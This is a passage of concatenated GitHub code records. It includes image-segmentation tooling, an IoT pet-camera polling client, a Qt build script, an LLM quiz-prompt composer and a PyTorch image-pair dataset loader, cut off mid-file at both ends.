)\r\n viz = imgviz.instances2rgb(\r\n image=img,\r\n labels=labels,\r\n masks=masks,\r\n captions=captions,\r\n font_size=15,\r\n line_width=2,\r\n )\r\n save_ins_dir = osp.join(solo_det_path, \"single\", base + \"/\")\r\n if not os.path.exists(save_ins_dir):\r\n os.makedirs(save_ins_dir)\r\n out_viz_file = osp.join(save_ins_dir, base + '_' + str(label) + '_' + str(ins_num) + '.jpg')\r\n imgviz.io.imsave(out_viz_file, viz)\r\n masks_ins.clear()\r\n\r\n\r\ndef obj_occluded(binary_mask, image_size):\r\n binary_mask = resize_binary_mask(binary_mask, image_size)\r\n segmentation = binary_mask_to_polygon(binary_mask, tolerance=2)\r\n if len(segmentation) == 1:\r\n no_occlu_flag = True\r\n else:\r\n no_occlu_flag = False\r\n return no_occlu_flag\r\n\r\n\r\ndef generate_points_no_occlu(binary_mask, image_size, label, new_shapes, cur_score, cls_confs):\r\n binary_mask = resize_binary_mask(binary_mask, image_size)\r\n segmentation = binary_mask_to_polygon(binary_mask, tolerance=2)\r\n new_points = []\r\n for i in range(0, len(segmentation[0]), 2):\r\n new_points.append(segmentation[0][i:i + 2])\r\n\r\n pt_num = len(new_points)\r\n cls_confs.append([label, cur_score, pt_num])\r\n\r\n shape_data = {\r\n \"label\": label,\r\n \"points\": new_points,\r\n \"group_id\": None,\r\n \"shape_type\": 'polygon',\r\n \"flags\": {}\r\n }\r\n new_shapes.append(shape_data)\r\n\r\n return new_shapes, cls_confs\r\n\r\n\r\ndef generate_points(binary_mask, image_size, label, new_shapes, idx, det_label, person_ID, rider_ID, car_ID, truck_ID, bus_ID, train_ID, motorcycle_ID, bicycle_ID, ID_dict, cur_score, cls_confs):\r\n binary_mask = resize_binary_mask(binary_mask, image_size)\r\n segmentation = binary_mask_to_polygon(binary_mask, tolerance=2)\r\n if label not in det_label.values():\r\n if label == 'person':\r\n person_ID = 0\r\n ID_dict['person'] = person_ID\r\n elif label == 'rider':\r\n rider_ID = 0\r\n ID_dict['rider'] = rider_ID\r\n elif label == 'car':\r\n car_ID = 0\r\n ID_dict['car'] = car_ID\r\n elif label == 'truck':\r\n truck_ID = 0\r\n ID_dict['truck'] = truck_ID\r\n elif label == 'bus':\r\n bus_ID = 0\r\n ID_dict['bus'] = bus_ID\r\n elif label == 'train':\r\n train_ID = 0\r\n ID_dict['train'] = train_ID\r\n elif label == 'motorcycle':\r\n motorcycle_ID = 0\r\n ID_dict['motorcycle'] = motorcycle_ID\r\n elif label == 'bicycle':\r\n bicycle_ID = 0\r\n ID_dict['bicycle'] = bicycle_ID\r\n\r\n det_label[idx] = label\r\n\r\n elif label in det_label.values():\r\n if label == 'person':\r\n person_ID += 1\r\n ID_dict['person'] = person_ID\r\n elif label == 'rider':\r\n rider_ID += 1\r\n ID_dict['rider'] = rider_ID\r\n elif label == 'car':\r\n car_ID += 1\r\n ID_dict['car'] = car_ID\r\n elif label == 'truck':\r\n truck_ID += 1\r\n ID_dict['truck'] = truck_ID\r\n elif label == 'bus':\r\n bus_ID += 1\r\n ID_dict['bus'] = bus_ID\r\n elif label == 'train':\r\n train_ID += 1\r\n ID_dict['train'] = train_ID\r\n elif label == 'motorcycle':\r\n motorcycle_ID += 1\r\n ID_dict['motorcycle'] = motorcycle_ID\r\n elif label == 'bicycle':\r\n bicycle_ID += 1\r\n ID_dict['bicycle'] = bicycle_ID\r\n\r\n det_label[idx] = label\r\n pt_nums = 0\r\n for points in segmentation:\r\n new_points = []\r\n for i in range(0, len(points), 2):\r\n new_points.append(points[i:i + 2])\r\n pt_num = len(new_points)\r\n pt_nums += pt_num\r\n\r\n shape_data = {\r\n \"label\": label,\r\n \"points\": new_points,\r\n \"group_id\": ID_dict[label],\r\n \"shape_type\": 'polygon',\r\n \"flags\": {}\r\n }\r\n new_shapes.append(shape_data)\r\n\r\n cls_confs.append([label, cur_score, pt_nums])\r\n\r\n return new_shapes, det_label, person_ID, rider_ID, car_ID, truck_ID, bus_ID, train_ID, motorcycle_ID, bicycle_ID, ID_dict, cls_confs\r\n\r\n\r\ndef al_txt(cls_confs):\r\n if cls_confs is not None:\r\n with open(os.path.join(solo_det_path, \"al_info\", base + '.txt'), 'w') as f:\r\n for i in cls_confs:\r\n line = str(i).replace(\"'\", '')\r\n line = line.replace(\"[]\", '')\r\n line = line.strip(\"[]\")\r\n f.write(line + '\\n')\r\n f.close()\r\n\r\n\r\ndef vis_save(img, masks, class_name_to_id, base):\r\n viz = img\r\n if masks:\r\n labels, captions, masks = zip(\r\n *[\r\n (class_name_to_id[cnm], cnm + str(\":\") + str(score), msk)\r\n for (cnm, score), msk in masks.items()\r\n if cnm in class_name_to_id\r\n ]\r\n )\r\n viz = imgviz.instances2rgb(\r\n image=img,\r\n labels=labels,\r\n masks=masks,\r\n captions=captions,\r\n font_size=15,\r\n line_width=2,\r\n )\r\n out_viz_file = osp.join(solo_det_path, \"whole\", base + \"_out.jpg\")\r\n imgviz.io.imsave(out_viz_file, viz)\r\n if every_ins_viz:\r\n copyfile(out_viz_file, osp.join(solo_det_path, \"single\", base, base + \"_out.jpg\"))\r\n\r\n\r\ndef img2str(image_name):\r\n with open(image_name, \"rb\") as file:\r\n base64_data = str(base64.b64encode(file.read()))\r\n match_pattern = re.compile(r\"b'(.*)'\")\r\n base64_data = match_pattern.match(base64_data).group(1)\r\n return base64_data\r\n\r\n\r\ndef save_json(shapes, w, h, img_data):\r\n json_data = {\r\n \"version\": \"4.5.7\",\r\n \"flags\": {},\r\n \"shapes\": shapes,\r\n \"imagePath\": i,\r\n \"imageData\": img_data,\r\n \"imageHeight\": h,\r\n \"imageWidth\": w\r\n }\r\n f = open(os.path.join(solo_det_path, \"json\", base + '.json'), 'w')\r\n json.dump(json_data, f, indent=2)\r\n\r\n\r\nif __name__ == '__main__':\r\n network = Network()\r\n\r\n for i in os.listdir(unlab_img_path):\r\n base = osp.splitext(osp.basename(i))[0]\r\n start_time = time.time()\r\n segment_results = network.segmentation(unlab_img_path + i)\r\n end_time = time.time()\r\n t = end_time - start_time\r\n print(\"img :{} det time: {}秒, FPS={}\".format(os.path.basename(i), round(t, 2), round(1 / t, 1)))\r\n main(i, segment_results, class_name_to_id, score_thr=det_thr, sort_by_density=True)\r\n","repo_name":"licongguan/Lamer","sub_path":"mmwcac/img_AL_info_txt.py","file_name":"img_AL_info_txt.py","file_ext":"py","file_size_in_byte":11114,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"21985699959","text":"import json\nimport socket\nfrom time import sleep\nfrom poopee_requests import Poopee\n\ndef read_json(file_path):\n with open(file_path, 'r') as json_file:\n json_data = json.load(json_file)\n print('Success to read a json file!')\n return json_data\n\ndef write_json(file_path, json_data):\n with open(file_path, 'w') as json_file:\n json.dump(json_data, json_file, indent=4)\n print('Success to write a json file!')\n\n\"\"\"send a feeding signal via socket communication\"\"\"\ndef send_feeding_signal(feeding, HOST, PORT):\n _bool = True\n while _bool:\n try:\n client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client_socket.connect((HOST, PORT))\n client_socket.send(feeding.encode('utf-8'))\n client_socket.close()\n _bool = False\n print('Success to send a feeding signal!')\n except:\n print('Fail socket communication... retry...')\n sleep(1)\n\ndef main():\n \"\"\"set json file path\"\"\"\n file_path = 'poopee_data.json'\n\n \"\"\"set variables\"\"\"\n json_data = read_json(file_path)\n serial_num, user_id, ip_addr, image_name = json_data['serial_num'], json_data['user_id'], json_data['ip_addr'], json_data['image_name']\n HOST, PORT = json_data['bluetooth']['HOST'], json_data['bluetooth']['PORT']\n\n \"\"\"load class\"\"\"\n poopee = Poopee(user_id, serial_num, ip_addr, image_name)\n\n \"\"\"log in ppcam\"\"\"\n response = poopee.ppcam_login()\n if str(type(response)) == \"\":\n token = response['device_access_token']\n ppcam_id = response['ppcam_id']\n # pet_id = response['pet_id']\n else:\n return response # if login fails, the program is terminated\n\n \"\"\"polling every 3 seconds\"\"\"\n while True:\n response = poopee.ppcam_polling(ppcam_id, token)\n \n \"\"\"\n when the token expires(http 401), the token is reissued\n this code brings security issues, so we will need to fix the code later\n \"\"\"\n if response == 401:\n response = poopee.ppcam_login()\n token = response['device_access_token']\n response = poopee.ppcam_polling(ppcam_id, token)\n \n if str(type(response)) == \"\": \n \"\"\"give snacks as much as requested by the user\"\"\"\n if 'feeding' in response:\n feeding = str(response['feeding'])\n send_feeding_signal(feeding, HOST, PORT)\n \"\"\"update pad data in json file\"\"\"\n if 'pad' in response:\n json_data = read_json(file_path)\n json_data['pad'] = response['pad']\n write_json(file_path, json_data)\n print('Update pad data!')\n \"\"\"update feedback data in json file\"\"\"\n if 'feedback' in response:\n json_data = read_json(file_path)\n json_data['feedback'] = response['feedback']\n write_json(file_path, json_data)\n print('Update feedback data!') \n else:\n return response # if polling fails, the program is terminated\n \n sleep(3)\n\nif __name__ == '__main__':\n main()","repo_name":"badger777/goodpp-embedded","sub_path":"poopee_cam/poopee_polling.py","file_name":"poopee_polling.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"42545571635","text":"#! /usr/bin/python -W ignore\n# #! /usr/bin/python -W ignore\n\n'''\nThis script takes a configuration file name as its only argument.\nNot passing a configuration file as an option will cause the script\nto use its default settings and any environmental settings.\n\nSetting set in the environment override the ones in the configuration file.\n'''\n\nimport libtelco5g\nimport sys\nimport os\nimport pprint\nimport datetime\nimport re\n\ndef main():\n \n dpp = pprint.PrettyPrinter(indent=2)\n\n # Set the default configuration values\n cfg = libtelco5g.set_defaults()\n\n # Override the defaults with the setting from the configuration file\n if len(sys.argv) > 1:\n if os.path.isfile(sys.argv[1]):\n tfcfg = libtelco5g.read_config(sys.argv[1])\n for key in tfcfg:\n cfg[key] = tfcfg[key]\n else:\n print(\"File\", sys.argv[1], \"does not exist\")\n exit(1)\n\n # Override the defaults and configuration file settings \n # with any environmental settings\n trcfg = libtelco5g.read_env_config(cfg.keys())\n for key in trcfg:\n cfg[key] = trcfg[key]\n\n # Fix some of the settings so they are easier to use\n cfg['labels'] = cfg['labels'].split(',')\n\n if cfg['debug'].lower() == 'true':\n cfg['debug'] = True\n else:\n cfg['debug'] = False\n\n token=libtelco5g.get_token(cfg['offline_token'])\n cases=libtelco5g.get_cases_json(token,cfg['query'],cfg['fields'])\n interval=7\n new_cases=0\n print(\"new cases opened in the last %d days:\" % interval)\n for case in sorted(cases, key = lambda i: i['case_severity']):\n create_date = datetime.datetime.strptime(case['case_createdDate'], '%Y-%m-%dT%H:%M:%SZ')\n time_diff = datetime.datetime.now() - create_date\n if time_diff.days < 7:\n new_cases += 1\n severity = re.sub('\\(|\\)| |[0-9]', '', case['case_severity'])\n print(\"https://access.redhat.com/support/cases/#/case/%s\\t%s\\t%s\" % (case['case_number'], severity, case['case_summary']))\n print(\"%d cases opened in the last %d days\" % (new_cases, interval))\n\n\n \n \nif __name__ == '__main__':\n main()\n\n","repo_name":"ghkibria/t5g-field-support-team-utils","sub_path":"bin/new-cases-report.py","file_name":"new-cases-report.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"68"} +{"seq_id":"14513514730","text":"from collections import defaultdict\nfrom typing import Union\nimport tiktoken\nfrom evalquiz_pipeline_server.evalquiz_config_iteration.internal_pipeline_modules.question_generation.question_type_composer.few_shot_example import (\n FewShotExample,\n)\nfrom evalquiz_pipeline_server.evalquiz_config_iteration.internal_pipeline_modules.question_generation.question_type_composer.multiple_choice_composer.multiple_choice_composer import (\n MultipleChoiceComposer,\n)\nfrom evalquiz_pipeline_server.evalquiz_config_iteration.internal_pipeline_modules.question_generation.question_type_composer.multiple_response_composer.multiple_response_composer import (\n MultipleResponseComposer,\n)\nfrom evalquiz_pipeline_server.evalquiz_config_iteration.internal_pipeline_modules.question_generation.question_type_composer.question_type_composer import (\n QuestionTypeComposer,\n)\nfrom evalquiz_proto.shared.generated import (\n Capability,\n CourseSettings,\n Question,\n GenerationSettings,\n QuestionType,\n EducationalObjective,\n Relationship,\n)\n\n\nclass MessageComposer:\n def __init__(\n self,\n course_settings: CourseSettings,\n generation_settings: GenerationSettings,\n max_previous_messages: int = 3,\n ) -> None:\n self.course_settings = course_settings\n self.generation_settings = generation_settings\n self.max_previous_messages = max_previous_messages\n self.question_type_composers: dict[QuestionType, QuestionTypeComposer] = {\n QuestionType.MULTIPLE_CHOICE: MultipleChoiceComposer(),\n QuestionType.MULTIPLE_RESPONSE: MultipleResponseComposer(),\n }\n self.educational_objective_explanations: dict[EducationalObjective, str] = {\n EducationalObjective.KNOW_AND_UNDERSTAND: \"The student knows and understands the specific concepts.\",\n EducationalObjective.APPLY: \"The student can apply the specific concepts to examples. Can name examples containing the specific concepts.\",\n EducationalObjective.ANALYZE: \"The student can analyze settings which contains the specific concepts and identify where these concepts play a role in order to understand the system.\",\n EducationalObjective.SYNTHESIZE: \"The student can synthesize the specific concepts.\",\n EducationalObjective.EVALUATE: \"The student can carry out a scientific evaluation of a scenario connected with the specific concepts.\",\n EducationalObjective.INNOVATE: \"The student can use the specific concepts as a basis to synthesize valuable new concepts.\",\n }\n self.relationship_translations: dict[Relationship, str] = {\n Relationship.SIMILARITY: \"the similarities between\",\n Relationship.DIFFERENCES: \"the differences between\",\n Relationship.ORDER: \"the order of\",\n Relationship.COMPLEX: \"the complex relationship between\",\n }\n self.token_overhead\n\n def compose(\n self,\n question: Question,\n capabilites: list[Capability],\n filtered_text: str,\n previous_messages: list[dict[str, str]],\n ) -> list[dict[str, str]]:\n return (\n [self.compose_system_message(capabilites)]\n + self.compose_few_shot_examples(question.question_type, previous_messages)\n + [self.compose_query_message(question, capabilites, filtered_text)]\n )\n\n def compose_system_message(self, capabilites: list[Capability]) -> dict[str, str]:\n return {\n \"role\": \"system\",\n \"content\": \"\"\"You are a question generation assistant that supports generating questions in multiple fixed formats.\n\nThe question generated by you serves the purpose of helping a student to self-assess, which skills they have acquired.\n\nYou can assume that the student already has acquired the following skills:\n\"\"\"\n + self.compose_capability_message(self.course_settings.required_capabilites)\n + \"\"\"Here is more information about the ALL_CAPS formatted instructions used in the skill descriptions:\n\"\"\"\n + self.compose_relevant_educational_objective_explanations(capabilites),\n }\n\n def compose_few_shot_examples(\n self, question_type: QuestionType, previous_messages: list[dict[str, str]]\n ) -> list[dict[str, str]]:\n max_previous_messages_and_responses = self.max_previous_messages * 2\n few_shot_examples = self.question_type_composers[\n question_type\n ].few_shot_examples\n return previous_messages[\n :max_previous_messages_and_responses\n ] + self._compose_few_shot_examples(few_shot_examples)\n\n def _compose_few_shot_examples(\n self, few_shot_examples: list[FewShotExample]\n ) -> list[dict[str, str]]:\n few_shot_example_messages: list[dict[str, str]] = []\n for few_shot_example in few_shot_examples:\n user_example_message = self.compose_query_message(\n few_shot_example.question,\n few_shot_example.capabilites,\n few_shot_example.filtered_text,\n )\n question_type_composer = self.question_type_composers[\n few_shot_example.question.question_type\n ]\n assistant_example = question_type_composer.result_template(\n few_shot_example.generation_result\n )\n few_shot_example_messages.append(user_example_message)\n few_shot_example_messages.append(\n {\"role\": \"assistant\", \"content\": assistant_example}\n )\n return few_shot_example_messages\n\n def compose_query_message(\n self, question: Question, capabilities: list[Capability], filtered_text: str\n ) -> dict[str, str]:\n question_type_composer = self.question_type_composers[question.question_type]\n question_type_query_message = question_type_composer.compose_query_message()\n content = (\n \"\"\"Your goal is to use the given markdown formatted text input to generate a question of the following JSON format:\n\n\"\"\"\n + question_type_query_message\n + \"\"\"Give your answer in the specified JSON format at all cost!\n\nA student who can answer the generated question successfully should have acquired the following skill set:\n\"\"\"\n + self.compose_capability_message(capabilities)\n + \"\"\"Double-check that the question supports strengthening the previously given skills.\n\nMarkdown formatted text input:\n```md\n\"\"\"\n + filtered_text\n + \"```\"\n )\n return {\"role\": \"user\", \"content\": content}\n\n def compose_capability_message(self, capabilites: list[Capability]) -> str:\n capability_message = \"\"\n for capability in capabilites:\n educational_objective_enum = self._convert_to_educational_objective_enum(\n capability.educational_objective\n )\n capability_text = (\n educational_objective_enum.name\n + \" \"\n + self.relationship_translations[capability.relationship]\n + \": \"\n + \", \".join(capability.keywords)\n )\n capability_message += capability_text + \".\\n\"\n capability_message += \"\\n\"\n return capability_message\n\n def compose_relevant_educational_objective_explanations(\n self, capabilites: list[Capability]\n ) -> str:\n relevant_educational_objectives = [\n capability.educational_objective for capability in capabilites\n ]\n relevant_educational_objective_explanations = {\n educational_objective: self.educational_objective_explanations[\n educational_objective\n ]\n for educational_objective in relevant_educational_objectives\n }\n objective_explanations_message = \"\"\n for (\n educational_objective,\n explanation,\n ) in relevant_educational_objective_explanations.items():\n educational_objective_enum = self._convert_to_educational_objective_enum(\n educational_objective\n )\n objective_explanations_message += (\n educational_objective_enum.name + \": \" + explanation + \".\\n\"\n )\n objective_explanations_message += \"\\n\"\n return objective_explanations_message\n\n def _convert_to_educational_objective_enum(\n self, educational_objective: Union[int, EducationalObjective]\n ) -> EducationalObjective:\n if isinstance(educational_objective, int):\n return EducationalObjective(educational_objective)\n return educational_objective\n\n def collect_few_shot_example_sources(\n self, few_shot_example_sources: defaultdict[int, defaultdict[str, str]]\n ) -> list[defaultdict[str, str]]:\n sorted_few_shot_example_sources = sorted(\n few_shot_example_sources.items(), key=lambda x: x[0]\n )\n sorted_filtered_few_shot_example_sources = [\n example_source for _, example_source in sorted_few_shot_example_sources\n ]\n return sorted_filtered_few_shot_example_sources\n\n @property\n def token_overhead(self) -> int:\n messages = self.compose(Question(QuestionType.MULTIPLE_CHOICE), [], \"\", [])\n return self.num_tokens_from_messages(messages)\n\n def num_tokens_from_messages(\n self, messages: list[dict[str, str]], model: str = \"gpt-3.5-turbo-0301\"\n ) -> int:\n \"\"\"Source: https://learn.microsoft.com/en-us/azure/ai-services/openai/how-to/chatgpt?pivots=programming-language-chat-completions, Accessed: 03.09.2023\n Returns the number of tokens used by a list of messages.\"\"\"\n try:\n encoding = tiktoken.encoding_for_model(model)\n except KeyError:\n encoding = tiktoken.get_encoding(\"cl100k_base\")\n if model == \"gpt-3.5-turbo-0301\": # note: future models may deviate from this\n num_tokens = 0\n for message in messages:\n num_tokens += 4 # every message follows {role/name}\\n{content}\\n\n for key, value in message.items():\n num_tokens += len(encoding.encode(value))\n if key == \"name\": # if there's a name, the role is omitted\n num_tokens += -1 # role is always required and always 1 token\n num_tokens += 2 # every reply is primed with assistant\n return num_tokens\n else:\n raise NotImplementedError()\n","repo_name":"MEITREX/evalquiz-pipeline-server","sub_path":"evalquiz_pipeline_server/evalquiz_config_iteration/internal_pipeline_modules/question_generation/message_composer.py","file_name":"message_composer.py","file_ext":"py","file_size_in_byte":10565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"22711609968","text":"# newton method python\n\nimport numpy as np\nfrom scipy import special as sci\n\ndef f_x(xi: float):\n return xi * (np.e ** xi)\n\n\ndef f_dev_x(xi: float):\n return (np.e ** xi) * (1 + xi)\n\n\ndef newton_method_i(f_x, f_dev_x, xi: float):\n return xi - (f_x(xi) / f_dev_x(xi))\n\ndef iter_newton(n:int,x0:float,f,ff):\n for i in range(0,n):\n print('x0: ', 'n: ')\n print(x0,i)\n xi=newton_method_i(f,ff,x0)\n er= xi-x0\n tolerance = 10**-10\n if(np.absolute(er)<=tolerance):\n print('stop iteration',er,i)\n break\n x0=xi\n\n\n\nif __name__ == '__main__':\n a,b = 0.567, 0.852\n n=11\n h=(b-a)/n\n vector_aux =[0.56,0.6,0.63,0.66,0.69,0.72,0.75,0.78,0.8,0.829,0.852]\n\n vector_i = np.linspace(1,2,11)\n vector_w_ai = list(map(sci.lambertw,vector_i))\n vector_w_ai = [np.round(np.absolute(elem),5) for elem in vector_w_ai]\n print(vector_w_ai)\n for i in vector_w_ai:\n print('iteracion para ' ,i)\n iter_newton(11,i,f_x, f_dev_x)\n","repo_name":"manuelpope/PEC3MSC","sub_path":"P1_c.py","file_name":"P1_c.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"42485660082","text":"#!/usr/bin/env python\n\nimport argparse\nimport os\nimport platform\nimport subprocess\nimport sys\n\n# Prevent .pyc file generation\nsys.dont_write_bytecode = True\n\n# Must follow setting dont_write_bytecode to prevent .pyc file generation\nimport st_submodules_initialize\n\nscript_dir = os.path.dirname(os.path.abspath(__file__))\ncurrent_dir = os.getcwd()\n\nwindows = platform.system() == 'Windows'\nlinux = platform.system() == 'Linux'\nosx = platform.system() == 'Darwin'\n\ndef parseArguments():\n parser = argparse.ArgumentParser()\n parser.add_argument('--mobile', default=None, help=\"Mobile platform; 'android' or 'ios'\")\n parser.add_argument('--arch', dest='arch', action='store', help=\"The architecture; context depends on platform\")\n parser.add_argument('--developer', action='store_true', help=\"Perform developer build\")\n parser.add_argument('--clean', action='store_true', help=\"Clean the repository first\")\n parser.add_argument('--initialize', action='store_true', help=\"Initialize the repository first\")\n parser.add_argument('--openssl', default=None, help=\"If specified, the path to the local OpenSSL build to use (if applicable)\")\n parser.add_argument('--user', default=None, help=\"The user name for the code review account (optional)\")\n parser.add_argument('--mirror', default=\"https://github.com/blue-ocean-robotics/tqtc-qt5\", help=\"Remote URL for the our copy of the Qt sources\")\n args = parser.parse_args()\n\n # If on TeamCity, override arguments accordingly\n tc_conf = os.environ.get('TEAMCITY_BUILDCONF_NAME', None)\n if tc_conf:\n print(\"Configuring for TeamCity...\")\n args.clean = True\n args.initialize = True\n args.developer = False\n\n if (tc_conf.find('android') != -1):\n args.mobile = 'android'\n if (tc_conf.find('x86') != -1):\n args.arch = 'x86'\n elif (tc_conf.find('arm') != -1):\n args.arch = 'armeabi-v7a'\n elif (tc_conf.find('ios') != -1):\n args.mobile = 'ios'\n else:\n print(\"Not configuring for TeamCity.\")\n\n return args\n\ndef clean():\n cmd = [\"git\", \"clean\", \"-dfx\", \"--exclude=sw-dev\"]\n if subprocess.call(cmd, cwd=script_dir) != 0:\n return False\n\n cmd = \"git submodule foreach --recursive \\\"git clean -dfx\\\"\"\n if subprocess.call(cmd, cwd=script_dir, shell=True) != 0:\n return False\n\n return True\n\ndef initialize(user, mirror):\n options = st_submodules_initialize.parse_args([])\n options.user = user\n options.checkout = True\n options.mirror=mirror\n if st_submodules_initialize.run(options) != 0:\n return False\n\n return True\n\ndef buildAndroid(developer, arch, openssl):\n if developer:\n cmd = [os.path.join(script_dir, \"st_developer_build_android.sh\"), arch]\n if openssl is not None:\n cmd.append(openssl)\n else:\n if osx:\n plat = 'osx'\n elif linux:\n plat = 'linux'\n else:\n print(\"Only MacOS and Linux hosts are supported for Android builds\", file=sys.stderr)\n return False\n\n cmd = [os.path.join(script_dir, \"st_build_android.sh\"), plat, arch]\n return (subprocess.call(cmd, cwd=current_dir) == 0)\n\ndef buildIOS(developer):\n if developer:\n cmd = [os.path.join(script_dir, \"st_developer_build_ios.sh\")]\n else:\n cmd = [os.path.join(script_dir, \"st_build_ios.sh\")]\n return (subprocess.call(cmd, cwd=current_dir) == 0)\n\ndef buildWindows(developer, openssl):\n if developer:\n cmd = [os.path.join(script_dir, \"st_developer_build_win32.bat\")]\n if openssl is not None:\n cmd.append(openssl)\n else:\n cmd = [os.path.join(script_dir, \"st_build_win32.bat\")]\n return (subprocess.call(cmd, cwd=current_dir) == 0)\n\ndef buildLinux(developer):\n if developer:\n cmd = [os.path.join(script_dir, \"st_developer_build_linux.sh\")]\n else:\n cmd = [os.path.join(script_dir, \"st_build_linux.sh\"), \"64\", \"x64\"]\n return (subprocess.call(cmd, cwd=current_dir) == 0)\n\ndef buildOSX(developer):\n if developer:\n cmd = [os.path.join(script_dir, \"st_developer_build_osx.sh\")]\n else:\n cmd = [os.path.join(script_dir, \"st_build_osx.sh\")]\n return (subprocess.call(cmd, cwd=current_dir) == 0)\n\ndef main():\n args = parseArguments()\n\n if args.clean:\n if not clean():\n print(\"Clean failed.\", file=sys.stderr)\n exit(-1)\n\n if args.initialize:\n if not initialize(args.user, args.mirror):\n print(\"Initialization failed.\", file=sys.stderr)\n exit(-1)\n\n if args.mobile == 'android':\n if not args.arch:\n print(\"Must specify arch when compiling for Android\", file=sys.stderr)\n exit(-1)\n if not buildAndroid(args.developer, args.arch, args.openssl):\n print(\"Build failed.\", file=sys.stderr)\n exit(-1)\n elif args.mobile == 'ios':\n if not buildIOS(args.developer):\n print(\"Build failed.\", file=sys.stderr)\n exit(-1)\n elif args.mobile is not None:\n print(\"--mobile must be either 'ios' or 'android'.\", file=sys.stderr)\n exit(-1)\n elif windows:\n if not buildWindows(args.developer, args.openssl):\n print(\"Build failed.\", file=sys.stderr)\n exit(-1)\n elif linux:\n if not buildLinux(args.developer):\n print(\"Build failed.\", file=sys.stderr)\n exit(-1)\n elif osx:\n if not buildOSX(args.developer):\n print(\"Build failed.\", file=sys.stderr)\n exit(-1)\n else:\n print(\"Build not supported.\", file=sys.stderr)\n exit(-1)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"cycollins/tqtc-qt5","sub_path":"st_build.py","file_name":"st_build.py","file_ext":"py","file_size_in_byte":5723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"42823935656","text":"import os\n\nfrom skimage import io\nimport numpy as np\nimport torch\nfrom torch.autograd import Variable\nfrom torch.utils.data import Dataset\nimport time\nimport cv2\n\nfrom random import choice\nfrom pathlib import Path\n\nfrom tqdm import tqdm\n\nfrom tnf_transform.img_process import random_affine, generator_affine_param\nfrom tnf_transform.transformation import AffineTnf\nfrom traditional_ntg.image_util import symmetricImagePad\nfrom util.csv_opeartor import read_csv_file\nfrom util.time_util import calculate_diff_time\n\n'''\n用作训练用,随机产生训练仿射变换参数然后输入网络进行训练。\n作为dataloader的参数输入,自定义getitem得到Sample{image,theta,name}\n'''\nclass NirRgbData(Dataset):\n\n\n def __init__(self,nir_path,rgb_path,label_path,output_size=(480,640),paper_affine_generator = False,transform=None,use_cuda = True):\n '''\n :param training_image_path:\n :param output_size:\n :param transform:\n :param cache_images: 如果数据��不是特别大可以缓存到内存里面加快读取速度\n :param use_cuda:\n '''\n self.out_h, self.out_w = output_size\n self.use_cuda = use_cuda\n self.paper_affine_generator = paper_affine_generator\n # read image file\n self.nir_image_path = nir_path\n self.rgb_image_path = rgb_path\n self.nir_image_name_list = sorted(os.listdir(self.nir_image_path))\n self.rgb_image_name_list = sorted(os.listdir(self.rgb_image_path))\n self.csv_data = read_csv_file(label_path)\n self.image_count = len(self.nir_image_name_list)\n self.transform = transform\n\n def __len__(self):\n return self.image_count\n\n def __getitem__(self, idx):\n\n nir_image_name = self.nir_image_name_list[idx]\n rgb_image_name = self.rgb_image_name_list[idx]\n\n nir_image_path = os.path.join(self.nir_image_path, nir_image_name)\n rgb_image_path = os.path.join(self.rgb_image_path, rgb_image_name)\n nir_image = cv2.imread(nir_image_path) # shape [h,w,c]\n rgb_image = cv2.imread(rgb_image_path) # shape [h,w,c]\n\n if nir_image.shape[0]!= self.out_h or nir_image.shape[1] != self.out_w:\n nir_image = cv2.resize(nir_image, (self.out_w, self.out_h), interpolation=cv2.INTER_LINEAR)\n\n if rgb_image.shape[0]!= self.out_h or rgb_image.shape[1] != self.out_w:\n rgb_image = cv2.resize(rgb_image, (self.out_w, self.out_h), interpolation=cv2.INTER_LINEAR)\n\n nir_image = nir_image[:, :, ::-1].transpose(2, 0, 1) # BGR to RGB, to 3x416x416\n nir_image = np.ascontiguousarray(nir_image, dtype=np.float32) # uint8 to float32\n nir_image = torch.from_numpy(nir_image)\n\n rgb_image = rgb_image[:, :, ::-1].transpose(2, 0, 1) # BGR to RGB, to 3x416x416\n rgb_image = np.ascontiguousarray(rgb_image, dtype=np.float32) # uint8 to float32\n rgb_image = torch.from_numpy(rgb_image)\n\n # if self.paper_affine_generator:\n # theta = generator_affine_param()\n # else:\n # theta = random_affine()\n label_row_param = self.csv_data.loc[self.csv_data['image'] == nir_image_name].values\n label_row_param = np.squeeze(label_row_param)\n if nir_image_name != label_row_param[0]:\n raise ValueError(\"图片文件名和label图片文件名不匹配\")\n\n theta_aff = label_row_param[1:].reshape(2,3)\n\n theta_aff_tensor = torch.Tensor(theta_aff.astype(np.float32))\n\n sample = {'nir_image': nir_image, 'rgb_image':rgb_image,'theta': theta_aff_tensor, 'name': nir_image_name}\n\n if self.transform:\n sample = self.transform(sample)\n\n return sample\n\n'''\n使用仿射变换参数生成图片对\n返回{\"source_image,traget_image,theta_GT,name\"}\n'''\nclass NirRgbTnsPair(object):\n\n def __init__(self, use_cuda=True, crop_factor=9 / 16, output_size=(240, 240),\n padding_factor=0.6):\n self.use_cuda = use_cuda\n self.crop_factor = crop_factor\n self.padding_factor = padding_factor\n self.out_h, self.out_w = output_size\n self.channel_choicelist = [0,1,2]\n self.rescalingTnf = AffineTnf(self.out_h, self.out_w,use_cuda=self.use_cuda)\n self.geometricTnf = AffineTnf(self.out_h, self.out_w,use_cuda=self.use_cuda)\n\n def __call__(self, batch):\n nir_image_batch,rgb_image_batch,theta_batch,image_name = batch['nir_image'], batch['rgb_image'],batch['theta'],batch['name']\n if self.use_cuda:\n nir_image_batch = nir_image_batch.cuda()\n rgb_image_batch = rgb_image_batch.cuda()\n theta_batch = theta_batch.cuda()\n\n b, c, h, w = nir_image_batch.size()\n\n # 为较大的采样区域生成对称填充图像\n rgb_image_batch_pad = symmetricImagePad(rgb_image_batch, self.padding_factor,use_cuda=self.use_cuda)\n nir_image_batch_pad = symmetricImagePad(nir_image_batch, 